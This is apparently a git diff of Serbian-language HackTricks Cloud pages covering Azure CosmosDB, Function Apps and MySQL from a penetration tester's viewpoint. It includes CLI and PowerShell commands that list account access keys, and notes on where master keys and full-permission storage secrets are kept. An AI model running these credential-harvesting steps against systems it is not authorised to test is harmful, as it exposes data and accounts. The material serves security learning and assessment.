||||
container = database.get_container_client(container_name)
|
||||
|
||||
# Insert multiple documents
|
||||
items_to_insert = [
|
||||
{"id": "1", "name": "Sample Item", "description": "This is a sample document."},
|
||||
{"id": "2", "name": "Another Sample Item", "description": "This is another sample document."},
|
||||
{"id": "3", "name": "Sample Item", "description": "This is a duplicate name sample document."},
|
||||
]
|
||||
|
||||
for item in items_to_insert:
|
||||
container.upsert_item(item)
|
||||
|
||||
# Query all documents
|
||||
query = "SELECT * FROM c"
|
||||
all_items = list(container.query_items(
|
||||
query=query,
|
||||
enable_cross_partition_query=True
|
||||
))
|
||||
|
||||
# Print all queried items
|
||||
print("All items in the container:")
|
||||
for item in all_items:
|
||||
print(item)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Još jedan način uspostavljanja veze je korišćenje **DefaultAzureCredential()**. Samo je potrebno prijaviti se (az login) sa nalogom koji ima dozvole i izvršiti ga. U ovom slučaju, mora se izvršiti dodeljivanje uloge, dajući potrebne dozvole (vidi za više)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from azure.identity import DefaultAzureCredential
|
||||
from azure.cosmos import CosmosClient
|
||||
|
||||
# Use Azure AD for authentication
|
||||
credential = DefaultAzureCredential()
|
||||
endpoint = "<your-account-endpoint>"
|
||||
client = CosmosClient(endpoint, credential)
|
||||
|
||||
# Access database and container
|
||||
database_name = "<mydatabase>"
|
||||
container_name = "<mycontainer>"
|
||||
database = client.get_database_client(database_name)
|
||||
container = database.get_container_client(container_name)
|
||||
|
||||
# Insert a document
|
||||
item = {
|
||||
"id": "1",
|
||||
"name": "Sample Item",
|
||||
"description": "This is a test item."
|
||||
}
|
||||
container.create_item(item)
|
||||
print("Document inserted.")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### MongoDB
|
||||
MongoDB NoSQL API je API zasnovan na dokumentima koji koristi JSON-sličan BSON (Binary JSON) kao svoj format podataka. Pruža jezik upita sa mogućnostima agregacije, što ga čini pogodnim za rad sa strukturiranim, polu-strukturiranim i nestrukturiranim podacima. Krajnja tačka usluge obično prati ovaj format:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
mongodb://<hostname>:<port>/<database>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Baze podataka
|
||||
U MongoDB-u, možete kreirati jednu ili više baza podataka unutar instance. Svaka baza podataka služi kao logička grupa kolekcija i pruža granicu za organizaciju i upravljanje resursima. Baze podataka pomažu u logičkom razdvajanju i upravljanju podacima, kao što su za različite aplikacije ili projekte.
|
||||
|
||||
#### Kolekcije
|
||||
Osnovna jedinica skladištenja podataka u MongoDB-u je kolekcija, koja sadrži dokumente i dizajnirana je za efikasno pretraživanje i fleksibilan dizajn šeme. Kolekcije su elastično skalabilne i mogu podržati operacije sa visokim protokom preko više čvorova u distribuiranom okruženju.
|
||||
|
||||
#### Enumeracija
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
az cosmosdb list --resource-group <ResourceGroupName>
|
||||
az cosmosdb show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
## Lists the virtual network accounts associated with a Cosmos DB account
|
||||
az cosmosdb network-rule list --resource-group <ResourceGroupName> --name <AccountName>
|
||||
## List the access keys or connection strings for a Azure Cosmos DB
|
||||
az cosmosdb keys list --name <AccountName> --resource-group <ResourceGroupName>
|
||||
## List all the database accounts that can be restored.
|
||||
az cosmosdb restorable-database-account list --account-name <AccountName>
|
||||
## Show the identities for a Azure Cosmos DB database account.
|
||||
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.CosmosDB
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
Get-AzCosmosDBAccount -ResourceGroupName "<ResourceGroupName>"
|
||||
|
||||
# Get the access keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBAccountKey -ResourceGroupName "<ResourceGroupName>" -Name "<AccountName>"
|
||||
|
||||
# Retrieve the client encryption keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# List all MongoDB collections in a specific database.
|
||||
Get-AzCosmosDBMongoDBCollection -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name>
|
||||
|
||||
# Retrieve backup information for a specific MongoDB collection in a database.
|
||||
Get-AzCosmosDBMongoDBCollectionBackupInformation -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name> -Name <collection-name> -Location <Location>
|
||||
|
||||
# Get the throughput (RU/s) of a specific MongoDB collection in a database.
|
||||
Get-AzCosmosDBMongoDBCollectionThroughput -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name> -Name <collection-name>
|
||||
|
||||
# List all MongoDB databases in a specified Cosmos DB account.
|
||||
Get-AzCosmosDBMongoDBDatabase -AccountName <account-name> -ResourceGroupName <resource-group-name>
|
||||
|
||||
# Get the throughput (RU/s) of a specific MongoDB database.
|
||||
Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name>
|
||||
|
||||
# Retrieve the role definitions for MongoDB users in a specified Cosmos DB account.
|
||||
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Povezivanje
|
||||
|
||||
Ovde možete pronaći lozinku pomoću ključeva ili metodom opisanoj u sekciji privesc.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
|
||||
# Updated connection string with retryWrites=false
|
||||
connection_string = "mongodb://<account-name>.mongo.cosmos.azure.com:10255/?ssl=true&replicaSet=globaldb&retryWrites=false"
|
||||
|
||||
# Create the client
|
||||
client = MongoClient(connection_string, username="<username>", password="<password>")
|
||||
|
||||
# Access the database
|
||||
db = client['<database>']
|
||||
|
||||
# Access a collection
|
||||
collection = db['<collection>']
|
||||
|
||||
# Insert a single document
|
||||
document = {
|
||||
"name": "John Doe",
|
||||
"email": "johndoe@example.com",
|
||||
"age": 30,
|
||||
"address": {
|
||||
"street": "123 Main St",
|
||||
"city": "Somewhere",
|
||||
"state": "CA",
|
||||
"zip": "90210"
|
||||
}
|
||||
}
|
||||
|
||||
# Insert document
|
||||
result = collection.insert_one(document)
|
||||
print(f"Inserted document with ID: {result.inserted_id}")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
|
||||
|
||||
## Eskalacija privilegija
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
|
||||
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Post Eksploatacija
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
|
||||
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ToDo
|
||||
|
||||
* Ostatak DB ovde, tabele, cassandra, gremlin...
|
||||
* Pogledajte post eksploataciju "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" i definicije uloga jer ovde može biti privesc
|
||||
* Pogledajte restoracije
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -2,24 +2,24 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne Informacije
|
||||
## Osnovne informacije
|
||||
|
||||
**Azure Function Apps** su **serverless compute service** koje vam omogućavaju da pokrećete male delove koda, nazvane **functions**, bez upravljanja osnovnom infrastrukturom. Dizajnirane su da izvršavaju kod kao odgovor na različite okidače, kao što su **HTTP zahtevi, tajmeri ili događaji iz drugih Azure servisa** poput Blob Storage ili Event Hubs. Function Apps podržavaju više programskih jezika, uključujući C#, Python, JavaScript i Java, što ih čini svestranim za izgradnju **aplikacija zasnovanih na događajima**, automatizaciju radnih tokova ili integraciju servisa. Troškovi su efikasni, jer obično plaćate samo za vreme obrade kada se vaš kod izvršava.
|
||||
**Azure Function Apps** su **serverless compute service** koje vam omogućavaju da pokrećete male delove koda, nazvane **functions**, bez upravljanja osnovnom infrastrukturom. Dizajnirane su da izvršavaju kod kao odgovor na različite okidače, kao što su **HTTP zahtevi, tajmeri ili događaji iz drugih Azure servisa** poput Blob Storage ili Event Hubs. Function Apps podržavaju više programskih jezika, uključujući C#, Python, JavaScript i Java, što ih čini svestranim za izgradnju **aplikacija vođenih događajima**, automatizaciju radnih tokova ili integraciju servisa. Troškovi su efikasni, jer obično plaćate samo za vreme obrade kada se vaš kod izvršava.
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da su **Functions podskup App Services**, stoga će mnoge funkcije o kojima se ovde govori koristiti i aplikacije kreirane kao Azure Apps (`webapp` u cli).
|
||||
|
||||
### Različiti Planovi
|
||||
### Različiti planovi
|
||||
|
||||
- **Flex Consumption Plan**: Nudi **dinamičko, događajima vođeno skaliranje** sa plaćanjem po korišćenju, dodajući ili uklanjajući instance funkcija na osnovu potražnje. Podržava **virtuelno umrežavanje** i **pre-provisioned instances** kako bi se smanjili hladni startovi, što ga čini pogodnim za **varijabilne radne opterećenja** koja ne zahtevaju podršku kontejnera.
|
||||
- **Traditional Consumption Plan**: Podrazumevani serverless izbor, gde **plaćate samo za resurse obrade kada funkcije rade**. Automatski se skalira na osnovu dolaznih događaja i uključuje **optimizacije hladnog starta**, ali ne podržava implementacije kontejnera. Idealno za **intermitentna radna opterećenja** koja zahtevaju automatsko skaliranje.
|
||||
- **Premium Plan**: Dizajniran za **dosledne performanse**, sa **prewarmed workers** kako bi se eliminisali hladni startovi. Nudi **produžene vreme izvršenja, virtuelno umrežavanje**, i podržava **prilagođene Linux slike**, što ga čini savršenim za **aplikacije od kritične važnosti** koje zahtevaju visoke performanse i napredne funkcije.
|
||||
- **Dedicated Plan**: Radi na posvećenim virtuelnim mašinama sa **predvidljivim naplatama** i podržava ručno ili automatsko skaliranje. Omogućava pokretanje više aplikacija na istom planu, pruža **izolaciju obrade**, i osigurava **siguran pristup mreži** putem App Service Environments, što ga čini idealnim za **dugotrajne aplikacije** koje zahtevaju doslednu alokaciju resursa.
|
||||
- **Container Apps**: Omogućava implementaciju **kontejnerizovanih funkcija** u upravljanom okruženju, zajedno sa mikroservisima i API-ima. Podržava prilagođene biblioteke, migraciju nasleđenih aplikacija, i **GPU obradu**, eliminišući upravljanje Kubernetes klasterima. Idealno za **aplikacije zasnovane na događajima, skalabilne kontejnerizovane aplikacije**.
|
||||
- **Premium Plan**: Dizajniran za **dosledne performanse**, sa **prewarmed workers** kako bi se eliminisali hladni startovi. Nudi **produžene vreme izvršenja, virtuelno umrežavanje** i podržava **prilagođene Linux slike**, što ga čini savršenim za **aplikacije od kritične važnosti** koje zahtevaju visoke performanse i napredne funkcije.
|
||||
- **Dedicated Plan**: Radi na posvećenim virtuelnim mašinama sa **predvidljivim naplatama** i podržava ručno ili automatsko skaliranje. Omogućava pokretanje više aplikacija na istom planu, pruža **izolaciju obrade** i osigurava **siguran pristup mreži** putem App Service Environments, što ga čini idealnim za **dugotrajne aplikacije** koje zahtevaju doslednu alokaciju resursa.
|
||||
- **Container Apps**: Omogućava implementaciju **kontejnerizovanih funkcija** u upravljanom okruženju, zajedno sa mikroservisima i API-ima. Podržava prilagođene biblioteke, migraciju nasleđenih aplikacija i **GPU obradu**, eliminišući upravljanje Kubernetes klasterima. Idealno za **događajima vođene, skalabilne kontejnerizovane aplikacije**.
|
||||
|
||||
### **Storage Buckets**
|
||||
|
||||
Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za pokretanje), **kod i drugi podaci vezani za funkciju biće pohranjeni u Storage nalogu**. Podrazumevano, web konzola će kreirati novi nalog po funkciji za skladištenje koda.
|
||||
Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za izvršavanje), **kod i drugi podaci vezani za funkciju biće pohranjeni u Storage nalogu**. Podrazumevano, web konzola će kreirati novi nalog po funkciji za pohranu koda.
|
||||
|
||||
Štaviše, modifikovanjem koda unutar kante (u različitim formatima u kojima može biti pohranjen), **kod aplikacije će biti modifikovan na novi i izvršen** sledeći put kada se funkcija pozove.
|
||||
|
||||
@@ -28,25 +28,25 @@ Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za pokr
|
||||
>
|
||||
> Više o ovome u **odeljku o eskalaciji privilegija**.
|
||||
|
||||
Takođe je moguće pronaći **master i funkcijske ključeve** pohranjene u storage nalogu u kontejneru **`azure-webjobs-secrets`** unutar foldera **`<app-name>`** u JSON datotekama koje možete pronaći unutra.
|
||||
Takođe je moguće pronaći **master i functions ključeve** pohranjene u storage nalogu u kontejneru **`azure-webjobs-secrets`** unutar foldera **`<app-name>`** u JSON datotekama koje možete pronaći unutra.
|
||||
|
||||
Imajte na umu da Functions takođe omogućavaju skladištenje koda na udaljenoj lokaciji jednostavno ukazujući na URL.
|
||||
Imajte na umu da Functions takođe omogućavaju pohranu koda na udaljenoj lokaciji jednostavno označavajući URL do nje.
|
||||
|
||||
### Mrežno Umrežavanje
|
||||
### Mrežno povezivanje
|
||||
|
||||
Korišćenjem HTTP okidača:
|
||||
|
||||
- Moguće je dati **pristup funkciji sa celog Interneta** bez zahteva za autentifikacijom ili dati pristup na osnovu IAM. Iako je takođe moguće ograničiti ovaj pristup.
|
||||
- Moguće je dati **pristup funkciji sa celog Interneta** bez potrebe za bilo kakvom autentifikacijom ili dati pristup na osnovu IAM-a. Iako je takođe moguće ograničiti ovaj pristup.
|
||||
- Takođe je moguće **dati ili ograničiti pristup** Function App-u iz **internetske mreže (VPC)**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ovo je veoma zanimljivo iz perspektive napadača jer bi moglo biti moguće **pivotsati na interne mreže** iz ranjive funkcije izložene Internetu.
|
||||
> Ovo je veoma zanimljivo iz perspektive napadača jer bi moglo biti moguće **pivotsati na interne mreže** iz ranjive funkcije izložene internetu.
|
||||
|
||||
### **Podešavanja Function App-a & Varijable Okruženja**
|
||||
### **Podešavanja Function App-a i promenljive okruženja**
|
||||
|
||||
Moguće je konfigurisati varijable okruženja unutar aplikacije, koje mogu sadržati osetljive informacije. Štaviše, podrazumevano se kreiraju varijable okruženja **`AzureWebJobsStorage`** i **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (među ostalima). Ove su posebno zanimljive jer **sadrže ključ naloga za kontrolu sa POTPUNIM dozvolama nad storage nalogom koji sadrži podatke aplikacije**. Ova podešavanja su takođe potrebna za izvršavanje koda iz Storage naloga.
|
||||
Moguće je konfigurisati promenljive okruženja unutar aplikacije, koje mogu sadržati osetljive informacije. Štaviše, podrazumevano se kreiraju promenljive okruženja **`AzureWebJobsStorage`** i **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (među ostalima). Ove su posebno zanimljive jer **sadrže ključ naloga za kontrolu sa POTPUNIM dozvolama nad storage nalogom koji sadrži podatke aplikacije**. Ova podešavanja su takođe potrebna za izvršavanje koda iz Storage naloga.
|
||||
|
||||
Ove varijable okruženja ili parametri konfiguracije takođe kontrolišu kako funkcija izvršava kod, na primer, ako **`WEBSITE_RUN_FROM_PACKAGE`** postoji, to će ukazivati na URL gde se nalazi kod aplikacije.
|
||||
Ove promenljive okruženja ili parametri konfiguracije takođe kontrolišu kako funkcija izvršava kod, na primer, ako **`WEBSITE_RUN_FROM_PACKAGE`** postoji, to će označiti URL gde se kod aplikacije nalazi.
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
@@ -54,27 +54,27 @@ Unutar linux sandbox-a, izvorni kod se nalazi u **`/home/site/wwwroot`** u datot
|
||||
|
||||
U **Windows** funkciji koja koristi NodeJS, kod se nalazio u **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, korisničko ime je bilo **`mawsFnPlaceholder8_f_v4_node_20_x86`** i bio je deo **grupa**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
|
||||
### **Upravljane Identitete & Metapodaci**
|
||||
### **Upravljane identitete i metapodaci**
|
||||
|
||||
Baš kao i [**VMs**](vms/index.html), Functions mogu imati **Upravljane Identitete** od 2 tipa: Sistem dodeljen i Korisnik dodeljen.
|
||||
Baš kao i [**VMs**](vms/index.html), Functions mogu imati **Upravljane identitete** od 2 tipa: Sistem dodeljen i Korisnik dodeljen.
|
||||
|
||||
**Sistem dodeljen** će biti upravljana identitet koja **samo funkcija** koja je dodeljena može koristiti, dok su **korisnik dodeljeni** upravljani identiteti upravljani identiteti koje **bilo koja druga Azure usluga može koristiti**.
|
||||
**Sistem dodeljen** će biti upravljani identitet koji **samo funkcija** koja ga ima dodeljenog može koristiti, dok su **korisnik dodeljeni** upravljani identiteti upravljani identiteti koje **bilo koja druga Azure usluga može koristiti**.
|
||||
|
||||
> [!NOTE]
|
||||
> Baš kao u [**VMs**](vms/index.html), Functions mogu imati **1 sistem dodeljen** upravljeni identitet i **several korisnik dodeljenih**, tako da je uvek važno pokušati pronaći sve njih ako kompromitujete funkciju jer biste mogli biti u mogućnosti da eskalirate privilegije na nekoliko upravljanih identiteta iz samo jedne funkcije.
|
||||
> Baš kao i u [**VMs**](vms/index.html), Functions mogu imati **1 sistem dodeljen** upravljeni identitet i **several korisnik dodeljenih**, tako da je uvek važno pokušati pronaći sve njih ako kompromitujete funkciju jer biste mogli biti u mogućnosti da eskalirate privilegije na nekoliko upravljanih identiteta iz samo jedne funkcije.
|
||||
>
|
||||
> Ako se ne koristi sistemski upravljeni identitet, ali su jedan ili više korisničkih upravljanih identiteta povezani sa funkcijom, podrazumevano nećete moći dobiti nijedan token.
|
||||
|
||||
Moguće je koristiti [**PEASS skripte**](https://github.com/peass-ng/PEASS-ng) za dobijanje tokena iz podrazumevanog upravljanog identiteta sa metapodataka krajnje tačke. Ili ih možete dobiti **ručno** kao što je objašnjeno u:
|
||||
|
||||
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
Imajte na umu da treba da pronađete način da **proverite sve Upravljane Identitete koje funkcija ima povezane** jer ako to ne naznačite, metapodaci krajnje tačke će **koristiti samo podrazumevani** (proverite prethodni link za više informacija).
|
||||
Imajte na umu da treba da pronađete način da **proverite sve upravljane identitete koje funkcija ima povezane** jer ako to ne naznačite, metapodataka krajnja tačka će **koristiti samo podrazumevani** (proverite prethodni link za više informacija).
|
||||
|
||||
## Ključevi Pristupa
|
||||
## Ključevi pristupa
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da ne postoje RBAC dozvole za davanje pristupa korisnicima za pozivanje funkcija. **Pozivanje funkcije zavisi od okidača** odabranog prilikom kreiranja i ako je odabran HTTP okidač, možda će biti potrebno koristiti **ključ pristupa**.
|
||||
> Imajte na umu da ne postoje RBAC dozvole za davanje pristupa korisnicima za pozivanje funkcija. **Pozivanje funkcije zavisi od okidača** koji je odabran prilikom kreiranja i ako je odabran HTTP okidač, možda će biti potrebno koristiti **ključ pristupa**.
|
||||
|
||||
Kada kreirate krajnju tačku unutar funkcije koristeći **HTTP okidač**, moguće je naznačiti **nivo autorizacije ključa pristupa** potreban za aktiviranje funkcije. Dostupne su tri opcije:
|
||||
|
||||
@@ -84,25 +84,25 @@ Kada kreirate krajnju tačku unutar funkcije koristeći **HTTP okidač**, moguć
|
||||
|
||||
**Tipovi ključeva:**
|
||||
|
||||
- **Funkcijski Ključevi:** Funkcijski ključevi mogu biti ili podrazumevani ili korisnički definisani i dizajnirani su da omogućavaju pristup isključivo **određenim funkcijskim krajnjim tačkama** unutar Function App-a, omogućavajući finiju kontrolu pristupa nad krajnjim tačkama.
|
||||
- **Host Ključevi:** Host ključevi, koji takođe mogu biti podrazumevani ili korisnički definisani, pružaju pristup **svim funkcijskim krajnjim tačkama unutar Function App-a sa FUNCTION nivoom pristupa**.
|
||||
- **Master Ključ:** Master ključ (`_master`) služi kao administrativni ključ koji nudi povišene dozvole, uključujući pristup svim funkcijskim krajnjim tačkama (uključujući ADMIN nivo pristupa). Ovaj **ključ se ne može opozvati.**
|
||||
- **Sistemski Ključevi:** Sistemski ključevi su **upravljani specifičnim ekstenzijama** i potrebni su za pristup webhook krajnjim tačkama koje koriste interni komponenti. Primeri uključuju Event Grid okidač i Durable Functions, koji koriste sistemske ključeve za sigurno interagovanje sa svojim API-ima.
|
||||
- **Ključevi funkcije:** Ključevi funkcije mogu biti podrazumevani ili korisnički definisani i dizajnirani su da omogućavaju pristup isključivo **određenim krajnjim tačkama funkcije** unutar Function App-a, omogućavajući finiju kontrolu pristupa nad krajnjim tačkama.
|
||||
- **Ključevi hosta:** Ključevi hosta, koji takođe mogu biti podrazumevani ili korisnički definisani, pružaju pristup **svim krajnjim tačkama funkcije unutar Function App-a sa nivoom pristupa FUNCTION**.
|
||||
- **Master ključ:** Master ključ (`_master`) služi kao administrativni ključ koji nudi povišene dozvole, uključujući pristup svim krajnjim tačkama funkcije (uključujući ADMIN nivo pristupa). Ovaj **ključ se ne može opozvati.**
|
||||
- **Sistemski ključevi:** Sistemski ključevi su **upravni od strane specifičnih ekstenzija** i potrebni su za pristup webhook krajnjim tačkama koje koriste interni komponenti. Primeri uključuju Event Grid okidač i Durable Functions, koji koriste sistemske ključeve za sigurno interagovanje sa svojim API-ima.
|
||||
|
||||
> [!TIP]
|
||||
> Primer za pristup funkciji API krajnjoj tački koristeći ključ:
|
||||
>
|
||||
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
|
||||
|
||||
### Osnovna Autentifikacija
|
||||
### Osnovna autentifikacija
|
||||
|
||||
Baš kao u App Services, Functions takođe podržavaju osnovnu autentifikaciju za povezivanje sa **SCM** i **FTP** za implementaciju koda koristeći **korisničko ime i lozinku u URL-u** koji pruža Azure. Više informacija o tome u:
|
||||
Baš kao i u App Services, Functions takođe podržavaju osnovnu autentifikaciju za povezivanje sa **SCM** i **FTP** za implementaciju koda koristeći **korisničko ime i lozinku u URL-u** koji pruža Azure. Više informacija o tome u:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
{{#endref}}
|
||||
|
||||
### Github Zasnovane Implementacije
|
||||
### Github zasnovane implementacije
|
||||
|
||||
Kada se funkcija generiše iz Github repozitorijuma, Azure web konzola omogućava **automatsko kreiranje Github Workflow-a u specifičnom repozitorijumu** tako da kada god se ovaj repozitorijum ažurira, kod funkcije se ažurira. U stvari, Github Action yaml za python funkciju izgleda ovako:
|
||||
|
||||
@@ -192,18 +192,18 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
Pored toga, **Upravljani identitet** se takođe kreira kako bi Github akcija iz repozitorijuma mogla da se prijavi u Azure. To se postiže generisanjem Federated kredencijala preko **Upravljanog identiteta** koji omogućava **Izdavaču** `https://token.actions.githubusercontent.com` i **Identifikatoru subjekta** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
Pored toga, **Managed Identity** se takođe kreira kako bi Github Action iz repozitorijuma mogao da se prijavi u Azure. To se postiže generisanjem Federated credential preko **Managed Identity** koja omogućava **Issuer** `https://token.actions.githubusercontent.com` i **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Stoga, svako ko kompromituje taj repozitorijum će moći da kompromituje funkciju i Upravljene identitete povezane s njom.
|
||||
> Stoga, svako ko kompromituje taj repozitorijum moći će da kompromituje funkciju i Managed Identities povezane s njom.
|
||||
|
||||
### Implementacije zasnovane na kontejnerima
|
||||
### Container Based Deployments
|
||||
|
||||
Nisu svi planovi omogućili implementaciju kontejnera, ali za one koji to čine, konfiguracija će sadržati URL kontejnera. U API-ju, podešavanje **`linuxFxVersion`** će imati nešto poput: `DOCKER|mcr.microsoft.com/...`, dok će u web konzoli konfiguracija prikazivati **podešavanja slike**.
|
||||
Nisu svi planovi omogućeni za implementaciju kontejnera, ali za one koji to omogućavaju, konfiguracija će sadržati URL kontejnera. U API-ju, **`linuxFxVersion`** podešavanje će imati nešto poput: `DOCKER|mcr.microsoft.com/...`, dok će u web konzoli konfiguracija prikazivati **image settings**.
|
||||
|
||||
Pored toga, **niti jedan izvorni kod neće biti pohranjen u skladištu** povezanu sa funkcijom jer to nije potrebno.
|
||||
Pored toga, **niti jedan izvorni kod neće biti sačuvan u storage** nalogu povezanom sa funkcijom jer to nije potrebno.
|
||||
|
||||
## Enumeracija
|
||||
## Enumeration
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
|
||||
194
src/pentesting-cloud/azure-security/az-services/az-mysql.md
Normal file
194
src/pentesting-cloud/azure-security/az-services/az-mysql.md
Normal file
@@ -0,0 +1,194 @@
|
||||
# Az - MySQL Baze Podataka
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure MySQL
|
||||
Azure Database for MySQL je potpuno upravljana relacijska baza podataka zasnovana na MySQL Community Edition, dizajnirana da pruži skalabilnost, sigurnost i fleksibilnost za različite potrebe aplikacija. Ima dva različita modela implementacije:
|
||||
|
||||
* **Single Server** (je na putu povlačenja):
|
||||
- Optimizovan za isplative i lako upravljive MySQL implementacije.
|
||||
- Karakteristike uključuju automatske rezervne kopije, visoku dostupnost i osnovno praćenje.
|
||||
- Idealno za aplikacije sa predvidivim opterećenjima.
|
||||
* **Flexible Server**:
|
||||
